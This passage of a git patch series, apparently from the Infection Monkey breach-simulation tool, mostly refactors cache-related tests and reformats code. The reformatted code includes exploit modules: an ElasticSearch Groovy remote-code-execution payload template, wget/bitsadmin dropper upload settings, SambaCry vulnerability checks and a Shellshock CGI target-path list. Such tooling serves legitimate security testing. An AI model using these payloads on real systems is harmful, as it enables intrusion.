ip_addresses=[ip_example])
linux_monkey.save()
- logger.debug(id(get_monkey_label_by_id))
-
- cache_info_before_query = get_monkey_label_by_id.storage.backend.cache_info()
+ cache_info_before_query = Monkey.get_label_by_id.storage.backend.cache_info()
self.assertEqual(cache_info_before_query.hits, 0)
self.assertEqual(cache_info_before_query.misses, 0)
# not cached
+ label = Monkey.get_label_by_id(linux_monkey.id)
label = get_monkey_label_by_id(linux_monkey.id)
cache_info_after_query_1 = get_monkey_label_by_id.storage.backend.cache_info()
self.assertEqual(cache_info_after_query_1.hits, 0)
@@ -149,23 +148,23 @@ class TestMonkey(IslandTestCase):
self.assertIn(ip_example, label)
# should be cached
+ _ = Monkey.get_label_by_id(linux_monkey.id)
+ cache_info_after_query = Monkey.get_label_by_id.storage.backend.cache_info()
+ self.assertEqual(cache_info_after_query.hits, 1)
label = get_monkey_label_by_id(linux_monkey.id)
logger.info("2) ID: {} label: {}".format(linux_monkey.id, label))
cache_info_after_query_2 = get_monkey_label_by_id.storage.backend.cache_info()
self.assertEqual(cache_info_after_query_2.hits, 1)
self.assertEqual(cache_info_after_query_2.misses, 1)
- # set hostname deletes the id from the cache.
linux_monkey.set_hostname("Another hostname")
# should be a miss
- label = get_monkey_label_by_id(linux_monkey.id)
- logger.info("3) ID: {} label: {}".format(linux_monkey.id, label))
- cache_info_after_query_3 = get_monkey_label_by_id.storage.backend.cache_info()
- logger.debug("Cache info: {}".format(str(cache_info_after_query_3)))
+ label = Monkey.get_label_by_id(linux_monkey.id)
+ cache_info_after_second_query = Monkey.get_label_by_id.storage.backend.cache_info()
# still 1 hit only
- self.assertEqual(cache_info_after_query_3.hits, 1)
- self.assertEqual(cache_info_after_query_3.misses, 2)
+ self.assertEqual(cache_info_after_second_query.hits, 1)
+ self.assertEqual(cache_info_after_second_query.misses, 2)
def test_is_monkey(self):
self.fail_if_not_testing_env()
@@ -174,18 +173,18 @@ class TestMonkey(IslandTestCase):
a_monkey = Monkey(guid=str(uuid.uuid4()))
a_monkey.save()
- cache_info_before_query = is_monkey.storage.backend.cache_info()
+ cache_info_before_query = Monkey.is_monkey.storage.backend.cache_info()
self.assertEqual(cache_info_before_query.hits, 0)
# not cached
- self.assertTrue(is_monkey(a_monkey.id))
+ self.assertTrue(Monkey.is_monkey(a_monkey.id))
fake_id = "123456789012"
- self.assertFalse(is_monkey(fake_id))
+ self.assertFalse(Monkey.is_monkey(fake_id))
# should be cached
- self.assertTrue(is_monkey(a_monkey.id))
- self.assertFalse(is_monkey(fake_id))
+ self.assertTrue(Monkey.is_monkey(a_monkey.id))
+ self.assertFalse(Monkey.is_monkey(fake_id))
- cache_info_after_query = is_monkey.storage.backend.cache_info()
+ cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info()
self.assertEqual(cache_info_after_query.hits, 2)
diff --git a/monkey/monkey_island/cc/services/edge.py b/monkey/monkey_island/cc/services/edge.py
index bf9417309..ae3d2a2de 100644
--- a/monkey/monkey_island/cc/services/edge.py
+++ b/monkey/monkey_island/cc/services/edge.py
@@ -2,7 +2,7 @@ from bson import ObjectId
from monkey_island.cc.database import mongo
import monkey_island.cc.services.node
-from monkey_island.cc.models.monkey import get_monkey_label_by_id, is_monkey
+from monkey_island.cc.models import Monkey
__author__ = "itay.mizeretz"
@@ -145,13 +145,13 @@ class EdgeService:
from_id = edge["from"]
to_id = edge["to"]
- from_label = get_monkey_label_by_id(from_id)
+ from_label = Monkey.get_label_by_id(from_id)
if to_id == ObjectId("000000000000000000000000"):
to_label = 'MonkeyIsland'
else:
- if is_monkey(to_id):
- to_label = get_monkey_label_by_id(to_id)
+ if Monkey.is_monkey(to_id):
+ to_label = Monkey.get_label_by_id(to_id)
else:
to_label = NodeService.get_node_label(NodeService.get_node_by_id(to_id))
diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py
index 0c0a873e8..27d2d299a 100644
--- a/monkey/monkey_island/cc/services/node.py
+++ b/monkey/monkey_island/cc/services/node.py
@@ -4,7 +4,7 @@ from bson import ObjectId
import monkey_island.cc.services.log
from monkey_island.cc.database import mongo
-from monkey_island.cc.models.monkey import Monkey, get_monkey_hostname_by_id, get_monkey_label_by_id
+from monkey_island.cc.models import Monkey
from monkey_island.cc.services.edge import EdgeService
from monkey_island.cc.utils import local_ip_addresses
import socket
@@ -50,8 +50,8 @@ class NodeService:
for edge in edges:
from_node_id = edge["from"]
- from_node_label = get_monkey_label_by_id(from_node_id)
- from_node_hostname = get_monkey_hostname_by_id(from_node_id)
+ from_node_label = Monkey.get_label_by_id(from_node_id)
+ from_node_hostname = Monkey.get_hostname_by_id(from_node_id)
accessible_from_nodes.append(from_node_label)
accessible_from_nodes_hostnames.append(from_node_hostname)
@@ -140,7 +140,7 @@ class NodeService:
@staticmethod
def monkey_to_net_node(monkey, for_report=False):
monkey_id = monkey["_id"]
- label = get_monkey_hostname_by_id(monkey_id) if for_report else get_monkey_label_by_id(monkey_id)
+ label = Monkey.get_hostname_by_id(monkey_id) if for_report else Monkey.get_label_by_id(monkey_id)
monkey_group = NodeService.get_monkey_group(monkey)
return \
{
From cd3835a42e1bdf178f9f671fdc8e081eb7c1030f Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 28 Oct 2019 16:14:52 +0200
Subject: [PATCH 072/108] Whitespace and imports fixes
---
monkey/common/cloud/aws_instance.py | 4 +-
monkey/common/cmd/aws/aws_cmd_runner.py | 2 +-
monkey/common/data/zero_trust_consts.py | 30 +-
monkey/common/utils/code_utils.py | 2 +
.../infection_monkey/exploit/elasticgroovy.py | 6 +-
monkey/infection_monkey/exploit/sambacry.py | 19 +-
.../exploit/shellshock_resources.py | 808 +++++++++---------
monkey/infection_monkey/exploit/struts2.py | 7 +-
.../exploit/tools/http_tools.py | 8 +-
monkey/infection_monkey/exploit/wmiexec.py | 3 +-
monkey/infection_monkey/main.py | 9 +-
monkey/infection_monkey/model/__init__.py | 9 +-
monkey/infection_monkey/monkeyfs.py | 1 -
monkey/infection_monkey/network/firewall.py | 7 +-
monkey/infection_monkey/network/httpfinger.py | 2 +-
.../infection_monkey/network/ping_scanner.py | 15 +-
monkey/infection_monkey/network/smbfinger.py | 10 +-
.../infection_monkey/network/tcp_scanner.py | 3 +-
.../system_info/SSH_info_collector.py | 2 +-
monkey/infection_monkey/transport/base.py | 2 +-
monkey/monkey_island/cc/models/test_monkey.py | 2 +-
monkey/monkey_island/cc/resources/root.py | 8 +-
.../cc/services/attack/attack_report.py | 5 +-
monkey/monkey_island/cc/services/config.py | 15 +-
.../cc/services/remote_run_aws.py | 2 +-
.../cc/services/reporting/aws_exporter.py | 107 ++-
.../cc/services/reporting/pth_report.py | 21 +-
monkey/monkey_island/cc/utils.py | 11 +-
28 files changed, 593 insertions(+), 527 deletions(-)
diff --git a/monkey/common/cloud/aws_instance.py b/monkey/common/cloud/aws_instance.py
index ac4fe633e..5178b0938 100644
--- a/monkey/common/cloud/aws_instance.py
+++ b/monkey/common/cloud/aws_instance.py
@@ -29,8 +29,8 @@ class AwsInstance(object):
self.instance_id = urllib.request.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode()
self.region = self._parse_region(
- urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().
- decode())
+ urllib.request.urlopen(
+ AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().decode())
except (urllib.error.URLError, IOError) as e:
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))
diff --git a/monkey/common/cmd/aws/aws_cmd_runner.py b/monkey/common/cmd/aws/aws_cmd_runner.py
index 9745d2c1d..459a42129 100644
--- a/monkey/common/cmd/aws/aws_cmd_runner.py
+++ b/monkey/common/cmd/aws/aws_cmd_runner.py
@@ -15,7 +15,7 @@ class AwsCmdRunner(CmdRunner):
Class for running commands on a remote AWS machine
"""
- def __init__(self, is_linux, instance_id, region = None):
+ def __init__(self, is_linux, instance_id, region=None):
super(AwsCmdRunner, self).__init__(is_linux)
self.instance_id = instance_id
self.region = region
diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py
index 5ac5dd78d..ae27b1c35 100644
--- a/monkey/common/data/zero_trust_consts.py
+++ b/monkey/common/data/zero_trust_consts.py
@@ -68,7 +68,8 @@ FINDING_EXPLANATION_BY_STATUS_KEY = "finding_explanation"
TEST_EXPLANATION_KEY = "explanation"
TESTS_MAP = {
TEST_SEGMENTATION: {
- TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.",
+ TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's "
+ "running on, that belong to different network segments.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
@@ -78,7 +79,8 @@ TESTS_MAP = {
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
},
TEST_MALICIOUS_ACTIVITY_TIMELINE: {
- TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.",
+ TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting "
+ "exploitation.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
},
@@ -89,8 +91,10 @@ TESTS_MAP = {
TEST_ENDPOINT_SECURITY_EXISTS: {
TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
- STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.",
- STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern."
+ STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus "
+ "software on endpoints.",
+ STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a "
+ "security concern. "
},
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
PILLARS_KEY: [DEVICES],
@@ -99,7 +103,8 @@ TESTS_MAP = {
TEST_MACHINE_EXPLOITED: {
TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
- STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.",
+ STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see "
+ "which endpoints were compromised.",
STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
},
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
@@ -109,7 +114,8 @@ TESTS_MAP = {
TEST_SCHEDULED_EXECUTION: {
TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
- STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.",
+ STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security "
+ "software.",
STATUS_PASSED: "Monkey failed to execute in a scheduled manner."
},
PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
@@ -120,7 +126,8 @@ TESTS_MAP = {
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
- STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them."
+ STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts "
+ "that indicate attempts to access them. "
},
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
PILLARS_KEY: [DATA],
@@ -130,7 +137,8 @@ TESTS_MAP = {
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
- STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them."
+ STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate "
+ "attempts to access them. "
},
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
PILLARS_KEY: [DATA],
@@ -139,7 +147,8 @@ TESTS_MAP = {
TEST_TUNNELING: {
TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
- STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them."
+ STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - "
+ "restrict them. "
},
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
@@ -148,7 +157,8 @@ TESTS_MAP = {
TEST_COMMUNICATE_AS_NEW_USER: {
TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
- STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.",
+ STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - "
+ "restrict them to MAC only.",
STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
},
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
diff --git a/monkey/common/utils/code_utils.py b/monkey/common/utils/code_utils.py
index d6d407706..b50e01fb0 100644
--- a/monkey/common/utils/code_utils.py
+++ b/monkey/common/utils/code_utils.py
@@ -1,10 +1,12 @@
# abstract, static method decorator
+# noinspection PyPep8Naming
class abstractstatic(staticmethod):
__slots__ = ()
def __init__(self, function):
super(abstractstatic, self).__init__(function)
function.__isabstractmethod__ = True
+
__isabstractmethod__ = True
diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py
index f1057f2dd..c8f897dd2 100644
--- a/monkey/infection_monkey/exploit/elasticgroovy.py
+++ b/monkey/infection_monkey/exploit/elasticgroovy.py
@@ -26,8 +26,8 @@ class ElasticGroovyExploiter(WebRCE):
# attack URLs
MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
- JAVA_CMD = GENERIC_QUERY \
- % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
+ JAVA_CMD = \
+ GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Elastic search'
@@ -39,7 +39,7 @@ class ElasticGroovyExploiter(WebRCE):
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
exploit_config['dropper'] = True
exploit_config['url_extensions'] = ['_search?pretty']
- exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP}
+ exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP}
return exploit_config
def get_open_service_ports(self, port_list, names):
diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py
index e48a21616..3c12ab843 100644
--- a/monkey/infection_monkey/exploit/sambacry.py
+++ b/monkey/infection_monkey/exploit/sambacry.py
@@ -230,13 +230,13 @@ class SambaCryExploiter(HostExploiter):
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (
- samba_version_parts[1] <= "13"):
+ samba_version_parts[1] <= "13"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (
- samba_version_parts[1] <= "9"):
+ samba_version_parts[1] <= "9"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (
- samba_version_parts[1] <= "3"):
+ samba_version_parts[1] <= "3"):
is_vulnerable = True
else:
# If pattern doesn't match we can't tell what version it is. Better try
@@ -448,7 +448,12 @@ class SambaCryExploiter(HostExploiter):
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
- return SambaCryExploiter.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
- shareMode=FILE_SHARE_READ,
- creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
- fileAttributes=0)
+ return SambaCryExploiter.create_smb(
+ smb_client,
+ treeId,
+ pathName,
+ desiredAccess=FILE_READ_DATA,
+ shareMode=FILE_SHARE_READ,
+ creationOptions=FILE_OPEN,
+ creationDisposition=FILE_NON_DIRECTORY_FILE,
+ fileAttributes=0)
diff --git a/monkey/infection_monkey/exploit/shellshock_resources.py b/monkey/infection_monkey/exploit/shellshock_resources.py
index 10cfc75a6..46851dde1 100644
--- a/monkey/infection_monkey/exploit/shellshock_resources.py
+++ b/monkey/infection_monkey/exploit/shellshock_resources.py
@@ -1,406 +1,408 @@
# resource for shellshock attack
# copied and transformed from https://github.com/nccgroup/shocker/blob/master/shocker-cgi_list
-CGI_FILES = (r'/',
- r'/admin.cgi',
- r'/administrator.cgi',
- r'/agora.cgi',
- r'/aktivate/cgi-bin/catgy.cgi',
- r'/analyse.cgi',
- r'/apps/web/vs_diag.cgi',
- r'/axis-cgi/buffer/command.cgi',
- r'/b2-include/b2edit.showposts.php',
- r'/bandwidth/index.cgi',
- r'/bigconf.cgi',
- r'/cartcart.cgi',
- r'/cart.cgi',
- r'/ccbill/whereami.cgi',
- r'/cgi-bin/14all-1.1.cgi',
- r'/cgi-bin/14all.cgi',
- r'/cgi-bin/a1disp3.cgi',
- r'/cgi-bin/a1stats/a1disp3.cgi',
- r'/cgi-bin/a1stats/a1disp4.cgi',
- r'/cgi-bin/addbanner.cgi',
- r'/cgi-bin/add_ftp.cgi',
- r'/cgi-bin/adduser.cgi',
- r'/cgi-bin/admin/admin.cgi',
- r'/cgi-bin/admin.cgi',
- r'/cgi-bin/admin/getparam.cgi',
- r'/cgi-bin/adminhot.cgi',
- r'/cgi-bin/admin.pl',
- r'/cgi-bin/admin/setup.cgi',
- r'/cgi-bin/adminwww.cgi',
- r'/cgi-bin/af.cgi',
- r'/cgi-bin/aglimpse.cgi',
- r'/cgi-bin/alienform.cgi',
- r'/cgi-bin/AnyBoard.cgi',
- r'/cgi-bin/architext_query.cgi',
- r'/cgi-bin/astrocam.cgi',
- r'/cgi-bin/AT-admin.cgi',
- r'/cgi-bin/AT-generate.cgi',
- r'/cgi-bin/auction/auction.cgi',
- r'/cgi-bin/auktion.cgi',
- r'/cgi-bin/ax-admin.cgi',
- r'/cgi-bin/ax.cgi',
- r'/cgi-bin/axs.cgi',
- r'/cgi-bin/badmin.cgi',
- r'/cgi-bin/banner.cgi',
- r'/cgi-bin/bannereditor.cgi',
- r'/cgi-bin/bb-ack.sh',
- r'/cgi-bin/bb-histlog.sh',
- r'/cgi-bin/bb-hist.sh',
- r'/cgi-bin/bb-hostsvc.sh',
- r'/cgi-bin/bb-replog.sh',
- r'/cgi-bin/bb-rep.sh',
- r'/cgi-bin/bbs_forum.cgi',
- r'/cgi-bin/bigconf.cgi',
- r'/cgi-bin/bizdb1-search.cgi',
- r'/cgi-bin/blog/mt-check.cgi',
- r'/cgi-bin/blog/mt-load.cgi',
- r'/cgi-bin/bnbform.cgi',
- r'/cgi-bin/book.cgi',
- r'/cgi-bin/boozt/admin/index.cgi',
- r'/cgi-bin/bsguest.cgi',
- r'/cgi-bin/bslist.cgi',
- r'/cgi-bin/build.cgi',
- r'/cgi-bin/bulk/bulk.cgi',
- r'/cgi-bin/cached_feed.cgi',
- r'/cgi-bin/cachemgr.cgi',
- r'/cgi-bin/calendar/index.cgi',
- r'/cgi-bin/cartmanager.cgi',
- r'/cgi-bin/cbmc/forums.cgi',
- r'/cgi-bin/ccvsblame.cgi',
- r'/cgi-bin/c_download.cgi',
- r'/cgi-bin/cgforum.cgi',
- r'/cgi-bin/.cgi',
- r'/cgi-bin/cgi_process',
- r'/cgi-bin/classified.cgi',
- r'/cgi-bin/classifieds.cgi',
- r'/cgi-bin/classifieds/classifieds.cgi',
- r'/cgi-bin/classifieds/index.cgi',
- r'/cgi-bin/.cobalt/alert/service.cgi',
- r'/cgi-bin/.cobalt/message/message.cgi',
- r'/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi',
- r'/cgi-bin/commandit.cgi',
- r'/cgi-bin/commerce.cgi',
- r'/cgi-bin/common/listrec.pl',
- r'/cgi-bin/compatible.cgi',
- r'/cgi-bin/Count.cgi',
- r'/cgi-bin/csChatRBox.cgi',
- r'/cgi-bin/csGuestBook.cgi',
- r'/cgi-bin/csLiveSupport.cgi',
- r'/cgi-bin/CSMailto.cgi',
- r'/cgi-bin/CSMailto/CSMailto.cgi',
- r'/cgi-bin/csNews.cgi',
- r'/cgi-bin/csNewsPro.cgi',
- r'/cgi-bin/csPassword.cgi',
- r'/cgi-bin/csPassword/csPassword.cgi',
- r'/cgi-bin/csSearch.cgi',
- r'/cgi-bin/csv_db.cgi',
- r'/cgi-bin/cvsblame.cgi',
- r'/cgi-bin/cvslog.cgi',
- r'/cgi-bin/cvsquery.cgi',
- r'/cgi-bin/cvsqueryform.cgi',
- r'/cgi-bin/day5datacopier.cgi',
- r'/cgi-bin/day5datanotifier.cgi',
- r'/cgi-bin/db_manager.cgi',
- r'/cgi-bin/dbman/db.cgi',
- r'/cgi-bin/dcforum.cgi',
- r'/cgi-bin/dcshop.cgi',
- r'/cgi-bin/dfire.cgi',
- r'/cgi-bin/diagnose.cgi',
- r'/cgi-bin/dig.cgi',
- r'/cgi-bin/directorypro.cgi',
- r'/cgi-bin/download.cgi',
- r'/cgi-bin/e87_Ba79yo87.cgi',
- r'/cgi-bin/emu/html/emumail.cgi',
- r'/cgi-bin/emumail.cgi',
- r'/cgi-bin/emumail/emumail.cgi',
- r'/cgi-bin/enter.cgi',
- r'/cgi-bin/environ.cgi',
- r'/cgi-bin/ezadmin.cgi',
- r'/cgi-bin/ezboard.cgi',
- r'/cgi-bin/ezman.cgi',
- r'/cgi-bin/ezshopper2/loadpage.cgi',
- r'/cgi-bin/ezshopper3/loadpage.cgi',
- r'/cgi-bin/ezshopper/loadpage.cgi',
- r'/cgi-bin/ezshopper/search.cgi',
- r'/cgi-bin/faqmanager.cgi',
- r'/cgi-bin/FileSeek2.cgi',
- r'/cgi-bin/FileSeek.cgi',
- r'/cgi-bin/finger.cgi',
- r'/cgi-bin/flexform.cgi',
- r'/cgi-bin/fom.cgi',
- r'/cgi-bin/fom/fom.cgi',
- r'/cgi-bin/FormHandler.cgi',
- r'/cgi-bin/FormMail.cgi',
- r'/cgi-bin/gbadmin.cgi',
- r'/cgi-bin/gbook/gbook.cgi',
- r'/cgi-bin/generate.cgi',
- r'/cgi-bin/getdoc.cgi',
- r'/cgi-bin/gH.cgi',
- r'/cgi-bin/gm-authors.cgi',
- r'/cgi-bin/gm.cgi',
- r'/cgi-bin/gm-cplog.cgi',
- r'/cgi-bin/guestbook.cgi',
- r'/cgi-bin/handler',
- r'/cgi-bin/handler.cgi',
- r'/cgi-bin/handler/netsonar',
- r'/cgi-bin/hitview.cgi',
- r'/cgi-bin/hsx.cgi',
- r'/cgi-bin/html2chtml.cgi',
- r'/cgi-bin/html2wml.cgi',
- r'/cgi-bin/htsearch.cgi',
- r'/cgi-bin/hw.sh', # testing
- r'/cgi-bin/icat',
- r'/cgi-bin/if/admin/nph-build.cgi',
- r'/cgi-bin/ikonboard/help.cgi',
- r'/cgi-bin/ImageFolio/admin/admin.cgi',
- r'/cgi-bin/imageFolio.cgi',
- r'/cgi-bin/index.cgi',
- r'/cgi-bin/infosrch.cgi',
- r'/cgi-bin/jammail.pl',
- r'/cgi-bin/journal.cgi',
- r'/cgi-bin/lastlines.cgi',
- r'/cgi-bin/loadpage.cgi',
- r'/cgi-bin/login.cgi',
- r'/cgi-bin/logit.cgi',
- r'/cgi-bin/log-reader.cgi',
- r'/cgi-bin/lookwho.cgi',
- r'/cgi-bin/lwgate.cgi',
- r'/cgi-bin/MachineInfo',
- r'/cgi-bin/MachineInfo',
- r'/cgi-bin/magiccard.cgi',
- r'/cgi-bin/mail/emumail.cgi',
- r'/cgi-bin/maillist.cgi',
- r'/cgi-bin/mailnews.cgi',
- r'/cgi-bin/mail/nph-mr.cgi',
- r'/cgi-bin/main.cgi',
- r'/cgi-bin/main_menu.pl',
- r'/cgi-bin/man.sh',
- r'/cgi-bin/mini_logger.cgi',
- r'/cgi-bin/mmstdod.cgi',
- r'/cgi-bin/moin.cgi',
- r'/cgi-bin/mojo/mojo.cgi',
- r'/cgi-bin/mrtg.cgi',
- r'/cgi-bin/mt.cgi',
- r'/cgi-bin/mt/mt.cgi',
- r'/cgi-bin/mt/mt-check.cgi',
- r'/cgi-bin/mt/mt-load.cgi',
- r'/cgi-bin/mt-static/mt-check.cgi',
- r'/cgi-bin/mt-static/mt-load.cgi',
- r'/cgi-bin/musicqueue.cgi',
- r'/cgi-bin/myguestbook.cgi',
- r'/cgi-bin/.namazu.cgi',
- r'/cgi-bin/nbmember.cgi',
- r'/cgi-bin/netauth.cgi',
- r'/cgi-bin/netpad.cgi',
- r'/cgi-bin/newsdesk.cgi',
- r'/cgi-bin/nlog-smb.cgi',
- r'/cgi-bin/nph-emumail.cgi',
- r'/cgi-bin/nph-exploitscanget.cgi',
- r'/cgi-bin/nph-publish.cgi',
- r'/cgi-bin/nph-test.cgi',
- r'/cgi-bin/pagelog.cgi',
- r'/cgi-bin/pbcgi.cgi',
- r'/cgi-bin/perlshop.cgi',
- r'/cgi-bin/pfdispaly.cgi',
- r'/cgi-bin/pfdisplay.cgi',
- r'/cgi-bin/phf.cgi',
- r'/cgi-bin/photo/manage.cgi',
- r'/cgi-bin/photo/protected/manage.cgi',
- r'/cgi-bin/php-cgi',
- r'/cgi-bin/php.cgi',
- r'/cgi-bin/php.fcgi',
- r'/cgi-bin/ping.sh',
- r'/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi',
- r'/cgi-bin/pollssi.cgi',
- r'/cgi-bin/postcards.cgi',
- r'/cgi-bin/powerup/r.cgi',
- r'/cgi-bin/printenv',
- r'/cgi-bin/probecontrol.cgi',
- r'/cgi-bin/profile.cgi',
- r'/cgi-bin/publisher/search.cgi',
- r'/cgi-bin/quickstore.cgi',
- r'/cgi-bin/quizme.cgi',
- r'/cgi-bin/ratlog.cgi',
- r'/cgi-bin/r.cgi',
- r'/cgi-bin/register.cgi',
- r'/cgi-bin/replicator/webpage.cgi/',
- r'/cgi-bin/responder.cgi',
- r'/cgi-bin/robadmin.cgi',
- r'/cgi-bin/robpoll.cgi',
- r'/cgi-bin/rtpd.cgi',
- r'/cgi-bin/sbcgi/sitebuilder.cgi',
- r'/cgi-bin/scoadminreg.cgi',
- r'/cgi-bin-sdb/printenv',
- r'/cgi-bin/sdbsearch.cgi',
- r'/cgi-bin/search',
- r'/cgi-bin/search.cgi',
- r'/cgi-bin/search/search.cgi',
- r'/cgi-bin/sendform.cgi',
- r'/cgi-bin/shop.cgi',
- r'/cgi-bin/shopper.cgi',
- r'/cgi-bin/shopplus.cgi',
- r'/cgi-bin/showcheckins.cgi',
- r'/cgi-bin/simplestguest.cgi',
- r'/cgi-bin/simplestmail.cgi',
- r'/cgi-bin/smartsearch.cgi',
- r'/cgi-bin/smartsearch/smartsearch.cgi',
- r'/cgi-bin/snorkerz.bat',
- r'/cgi-bin/snorkerz.bat',
- r'/cgi-bin/snorkerz.cmd',
- r'/cgi-bin/snorkerz.cmd',
- r'/cgi-bin/sojourn.cgi',
- r'/cgi-bin/spin_client.cgi',
- r'/cgi-bin/start.cgi',
- r'/cgi-bin/status',
- r'/cgi-bin/status_cgi',
- r'/cgi-bin/store/agora.cgi',
- r'/cgi-bin/store.cgi',
- r'/cgi-bin/store/index.cgi',
- r'/cgi-bin/survey.cgi',
- r'/cgi-bin/sync.cgi',
- r'/cgi-bin/talkback.cgi',
- r'/cgi-bin/technote/main.cgi',
- r'/cgi-bin/test2.pl',
- r'/cgi-bin/test-cgi',
- r'/cgi-bin/test.cgi',
- r'/cgi-bin/testing_whatever',
- r'/cgi-bin/test/test.cgi',
- r'/cgi-bin/tidfinder.cgi',
- r'/cgi-bin/tigvote.cgi',
- r'/cgi-bin/title.cgi',
- r'/cgi-bin/top.cgi',
- r'/cgi-bin/traffic.cgi',
- r'/cgi-bin/troops.cgi',
- r'/cgi-bin/ttawebtop.cgi/',
- r'/cgi-bin/ultraboard.cgi',
- r'/cgi-bin/upload.cgi',
- r'/cgi-bin/urlcount.cgi',
- r'/cgi-bin/viewcvs.cgi',
- r'/cgi-bin/view_help.cgi',
- r'/cgi-bin/viralator.cgi',
- r'/cgi-bin/virgil.cgi',
- r'/cgi-bin/vote.cgi',
- r'/cgi-bin/vpasswd.cgi',
- r'/cgi-bin/way-board.cgi',
